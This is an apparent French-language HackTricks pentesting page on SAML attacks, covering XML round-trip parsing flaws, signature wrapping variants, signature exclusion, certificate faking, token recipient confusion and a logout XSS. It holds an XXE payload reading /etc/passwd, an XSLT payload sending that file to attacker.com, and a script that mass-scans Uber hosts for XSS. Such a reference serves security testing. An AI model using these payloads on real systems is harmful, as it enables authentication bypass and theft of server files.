Attaques SAML

Reading time: 14 minutes

Attaques SAML

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Informations de base

SAML Basics

Outil

SAMLExtractor: Un outil qui peut prendre une URL ou une liste d'URL et renvoie l'URL de consommation SAML.

Aller-retour XML

Dans XML, la partie signĂ©e de l'XML est sauvegardĂ©e en mĂ©moire, puis un certain encodage/dĂ©codage est effectuĂ© et la signature est vĂ©rifiĂ©e. IdĂ©alement, cet encodage/dĂ©codage ne devrait pas changer les donnĂ©es, mais dans ce scĂ©nario, les donnĂ©es vĂ©rifiĂ©es et les donnĂ©es originales pourraient ne pas ĂȘtre les mĂȘmes.

Par exemple, vérifiez le code suivant :

ruby
require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Exécuter le programme contre REXML 3.2.4 ou une version antérieure donnerait plutÎt le résultat suivant :

First child in original doc: Y
First child after round-trip: Z

Voici comment REXML a vu le document XML original du programme ci-dessus :

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Et voici comment il l'a vu aprÚs un cycle d'analyse et de sérialisation :

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Pour plus d'informations sur la vulnérabilité et comment l'exploiter :

Attaques par enveloppement de signature XML

Dans les attaques par enveloppement de signature XML (XSW), les adversaires exploitent une vulnérabilité qui survient lorsque les documents XML sont traités à travers deux phases distinctes : validation de signature et invocation de fonction. Ces attaques impliquent de modifier la structure du document XML. Plus précisément, l'attaquant injecte des éléments falsifiés qui ne compromettent pas la validité de la signature XML. Cette manipulation vise à créer une divergence entre les éléments analysés par la logique de l'application et ceux vérifiés par le module de vérification de signature. En conséquence, bien que la signature XML reste techniquement valide et passe la vérification, la logique de l'application traite les éléments frauduleux. Par conséquent, l'attaquant contourne efficacement la protection d'intégrité et l'authentification d'origine de la signature XML, permettant l'injection de contenu arbitraire sans détection.

Les attaques suivantes sont basées sur cet article de blog et ce document. Consultez-les pour plus de détails.

XSW #1

  • StratĂ©gie : Un nouvel Ă©lĂ©ment racine contenant la signature est ajoutĂ©.
  • Implication : Le validateur peut ĂȘtre confus entre le "Response -> Assertion -> Subject" lĂ©gitime et le "Response -> Assertion -> Subject" malveillant de l'attaquant, entraĂźnant des problĂšmes d'intĂ©gritĂ© des donnĂ©es.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • DiffĂ©rence par rapport Ă  XSW #1 : Utilise une signature dĂ©tachĂ©e au lieu d'une signature enveloppante.
  • Implication : La structure "malveillante", similaire Ă  XSW #1, vise Ă  tromper la logique mĂ©tier aprĂšs la vĂ©rification d'intĂ©gritĂ©.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • StratĂ©gie : Une assertion malveillante est crĂ©Ă©e au mĂȘme niveau hiĂ©rarchique que l'assertion originale.
  • Implication : Vise Ă  tromper la logique mĂ©tier pour qu'elle utilise les donnĂ©es malveillantes.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • DiffĂ©rence par rapport Ă  XSW #3 : L'assertion originale devient un enfant de l'assertion dupliquĂ©e (malveillante).
  • Implication : Semblable Ă  XSW #3 mais modifie la structure XML de maniĂšre plus agressive.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Aspect unique : Ni la signature ni l'assertion originale ne respectent les configurations standard (enveloppĂ©es/enveloppantes/dĂ©tachĂ©es).
  • Implication : L'assertion copiĂ©e enveloppe la signature, modifiant la structure de document attendue.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • StratĂ©gie : Insertion Ă  un emplacement similaire Ă  XSW #4 et #5, mais avec une variante.
  • Implication : L'assertion copiĂ©e enveloppe la signature, qui enveloppe ensuite l'assertion originale, crĂ©ant une structure trompeuse imbriquĂ©e.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • StratĂ©gie : Un Ă©lĂ©ment Extensions est insĂ©rĂ© avec l'assertion copiĂ©e comme enfant.
  • Implication : Cela exploite le schĂ©ma moins restrictif de l'Ă©lĂ©ment Extensions pour contourner les contre-mesures de validation de schĂ©ma, en particulier dans des bibliothĂšques comme OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • DiffĂ©rence par rapport Ă  XSW #7 : Utilise un autre Ă©lĂ©ment XML moins restrictif pour une variante de l'attaque.
  • Implication : L'assertion originale devient un enfant de l'Ă©lĂ©ment moins restrictif, inversant la structure utilisĂ©e dans XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Outil

Vous pouvez utiliser l'extension Burp SAML Raider pour analyser la requĂȘte, appliquer toute attaque XSW de votre choix et la lancer.

XXE

Si vous ne savez pas quel type d'attaques sont les XXE, veuillez lire la page suivante :

XXE - XEE - XML External Entity

Les rĂ©ponses SAML sont des documents XML dĂ©compressĂ©s et encodĂ©s en base64 et peuvent ĂȘtre sensibles aux attaques d'entitĂ© externe XML (XXE). En manipulant la structure XML de la rĂ©ponse SAML, les attaquants peuvent tenter d'exploiter les vulnĂ©rabilitĂ©s XXE. Voici comment une telle attaque peut ĂȘtre visualisĂ©e :

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Outils

Vous pouvez Ă©galement utiliser l'extension Burp SAML Raider pour gĂ©nĂ©rer le POC Ă  partir d'une requĂȘte SAML afin de tester d'Ă©ventuelles vulnĂ©rabilitĂ©s XXE et vulnĂ©rabilitĂ©s SAML.

Vérifiez également cette conférence : https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Pour plus d'informations sur XSLT, allez Ă  :

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Les transformations de langage de feuille de style extensible (XSLT) peuvent ĂȘtre utilisĂ©es pour transformer des documents XML en divers formats comme HTML, JSON ou PDF. Il est crucial de noter que les transformations XSLT sont effectuĂ©es avant la vĂ©rification de la signature numĂ©rique. Cela signifie qu'une attaque peut rĂ©ussir mĂȘme sans une signature valide ; une signature auto-signĂ©e ou invalide suffit pour procĂ©der.

Ici, vous pouvez trouver un POC pour vérifier ce type de vulnérabilités, dans la page hacktricks mentionnée au début de cette section, vous pouvez trouver des payloads.

xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Outil

Vous pouvez Ă©galement utiliser l'extension Burp SAML Raider pour gĂ©nĂ©rer le POC Ă  partir d'une requĂȘte SAML afin de tester d'Ă©ventuelles vulnĂ©rabilitĂ©s XSLT.

Vérifiez également cette conférence : https://www.youtube.com/watch?v=WHn-6xHL7mI

Exclusion de la signature XML

L'Exclusion de la signature XML observe le comportement des implémentations SAML lorsque l'élément Signature est absent. Si cet élément est manquant, la validation de la signature peut ne pas se produire, rendant le systÚme vulnérable. Il est possible de tester cela en modifiant les contenus qui sont généralement vérifiés par la signature.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Outil

Vous pouvez également utiliser l'extension Burp SAML Raider. Interceptez la réponse SAML et cliquez sur Remove Signatures. Ce faisant, tous les éléments Signature sont supprimés.

Avec les signatures supprimĂ©es, laissez la requĂȘte se poursuivre vers la cible. Si la signature n'est pas requise par le Service

Falsification de certificat

Falsification de certificat

La falsification de certificat est une technique pour tester si un Fournisseur de services (SP) vérifie correctement qu'un message SAML est signé par un fournisseur d'identité (IdP) de confiance. Cela implique d'utiliser un *certificat auto-signé pour signer la réponse ou l'assertion SAML, ce qui aide à évaluer le processus de validation de confiance entre le SP et l'IdP.

Comment réaliser la falsification de certificat

Les étapes suivantes décrivent le processus en utilisant l'extension Burp SAML Raider :

  1. Interceptez la réponse SAML.
  2. Si la réponse contient une signature, envoyez le certificat à SAML Raider Certs en utilisant le bouton Send Certificate to SAML Raider Certs.
  3. Dans l'onglet Certificats de SAML Raider, sélectionnez le certificat importé et cliquez sur Save and Self-Sign pour créer un clone auto-signé du certificat original.
  4. Retournez Ă  la requĂȘte interceptĂ©e dans le Proxy de Burp. SĂ©lectionnez le nouveau certificat auto-signĂ© dans le menu dĂ©roulant de la signature XML.
  5. Supprimez toutes les signatures existantes avec le bouton Remove Signatures.
  6. Signez le message ou l'assertion avec le nouveau certificat en utilisant le bouton (Re-)Sign Message ou (Re-)Sign Assertion, selon le cas.
  7. Transmettez le message signé. Une authentification réussie indique que le SP accepte les messages signés par votre certificat auto-signé, révélant d'éventuelles vulnérabilités dans le processus de validation des messages SAML.

Confusion du destinataire de jeton / Confusion de cible de fournisseur de services

La confusion du destinataire de jeton et la confusion de cible de fournisseur de services impliquent de vĂ©rifier si le Fournisseur de services valide correctement le destinataire prĂ©vu d'une rĂ©ponse. En essence, un fournisseur de services devrait rejeter une rĂ©ponse d'authentification si elle Ă©tait destinĂ©e Ă  un autre fournisseur. L'Ă©lĂ©ment critique ici est le champ Recipient, trouvĂ© dans l'Ă©lĂ©ment SubjectConfirmationData d'une rĂ©ponse SAML. Ce champ spĂ©cifie une URL indiquant oĂč l'assertion doit ĂȘtre envoyĂ©e. Si le destinataire rĂ©el ne correspond pas au fournisseur de services prĂ©vu, l'assertion doit ĂȘtre considĂ©rĂ©e comme invalide.

Comment cela fonctionne

Pour qu'une attaque de confusion de destinataire de jeton SAML (SAML-TRC) soit rĂ©alisable, certaines conditions doivent ĂȘtre remplies. Tout d'abord, il doit y avoir un compte valide sur un fournisseur de services (appelĂ© SP-Legit). DeuxiĂšmement, le fournisseur de services ciblĂ© (SP-Target) doit accepter des jetons du mĂȘme fournisseur d'identitĂ© qui sert SP-Legit.

Le processus d'attaque est simple dans ces conditions. Une session authentique est initiĂ©e avec SP-Legit via le fournisseur d'identitĂ© partagĂ©. La rĂ©ponse SAML du fournisseur d'identitĂ© Ă  SP-Legit est interceptĂ©e. Cette rĂ©ponse SAML interceptĂ©e, initialement destinĂ©e Ă  SP-Legit, est ensuite redirigĂ©e vers SP-Target. Le succĂšs de cette attaque est mesurĂ© par l'acceptation de l'assertion par SP-Target, accordant l'accĂšs aux ressources sous le mĂȘme nom de compte utilisĂ© pour SP-Legit.

python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS dans la fonctionnalité de déconnexion

La recherche originale peut ĂȘtre consultĂ©e via ce lien.

Au cours du processus de brute forcing de répertoire, une page de déconnexion a été découverte à :

https://carbon-prototype.uberinternal.com:443/oidauth/logout

En accédant à ce lien, une redirection s'est produite vers :

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Cela a révélé que le paramÚtre base accepte une URL. Dans cette optique, l'idée est née de substituer l'URL par javascript:alert(123); dans une tentative d'initier une attaque XSS (Cross-Site Scripting).

Exploitation de masse

À partir de cette recherche :

L'outil SAMLExtractor a Ă©tĂ© utilisĂ© pour analyser les sous-domaines de uberinternal.com pour les domaines utilisant la mĂȘme bibliothĂšque. Par la suite, un script a Ă©tĂ© dĂ©veloppĂ© pour cibler la page oidauth/prompt. Ce script teste la XSS (Cross-Site Scripting) en saisissant des donnĂ©es et en vĂ©rifiant si elles sont reflĂ©tĂ©es dans la sortie. Dans les cas oĂč l'entrĂ©e est effectivement reflĂ©tĂ©e, le script signale la page comme vulnĂ©rable.

python
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks